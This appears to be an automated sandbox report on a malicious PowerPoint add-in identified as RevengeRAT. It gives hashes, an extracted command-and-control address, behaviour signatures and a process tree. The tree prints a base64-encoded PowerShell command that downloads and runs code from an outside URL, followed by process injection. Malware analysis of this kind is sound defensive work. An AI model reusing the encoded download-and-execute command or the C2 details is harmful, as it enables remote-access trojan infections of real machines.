Analysis
-
max time kernel
145s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
28-08-2024 01:53
Static task
static1
Behavioral task
behavioral1
Sample
7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2.ppam
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2.ppam
Resource
win10v2004-20240802-en
General
-
Target
7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2.ppam
-
Size
27KB
-
MD5
c3313364d3a12339eb5f77410bb0a31a
-
SHA1
a496f4f079f45ccef67715a51a2ad8185fee9ce3
-
SHA256
7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2
-
SHA512
2337e7996a67a60c8ba679167a20bccb82a334eaf88d85e5dc7486125809acbebf6772ff1cf439a95cb01c0afa5d460b804fe3cc3174f76305b3cde946bddd2c
-
SSDEEP
768:VPc2teKCz5J61JLDgJOabcssG8bKR8QJTkM5xRh:VO36XL9abcskE5x/
Malware Config
Extracted
revengerat
NyanCatRevenge
18.228.165.84:3333
788bf014999d4ae8929
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 4824 4888 powershell.exe 83 -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid Process 56 4824 powershell.exe 62 4824 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid Process procid_target PID 4824 set thread context of 2156 4824 powershell.exe 103 -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
RegSvcs.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegSvcs.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
POWERPNT.EXEdescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid Process 4888 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 4824 powershell.exe 4824 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 4824 powershell.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
POWERPNT.EXEpid Process 4888 POWERPNT.EXE 4888 POWERPNT.EXE 4888 POWERPNT.EXE 4888 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
POWERPNT.EXEpowershell.exedescription pid Process procid_target PID 4888 wrote to memory of 4824 4888 POWERPNT.EXE 99 PID 4888 wrote to memory of 4824 4888 POWERPNT.EXE 99 PID 4824 wrote to memory of 2156 4824 powershell.exe 103 PID 4824 wrote to memory of 2156 4824 powershell.exe 103 PID 4824 wrote to memory of 2156 4824 powershell.exe 103 PID 4824 wrote to memory of 2156 4824 powershell.exe 103 PID 4824 wrote to memory of 2156 4824 powershell.exe 103 PID 4824 wrote to memory of 2156 4824 powershell.exe 103 PID 4824 wrote to memory of 2156 4824 powershell.exe 103 PID 4824 wrote to memory of 2156 4824 powershell.exe 103 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4824 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- System Location Discovery: System Language Discovery
PID:2156
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82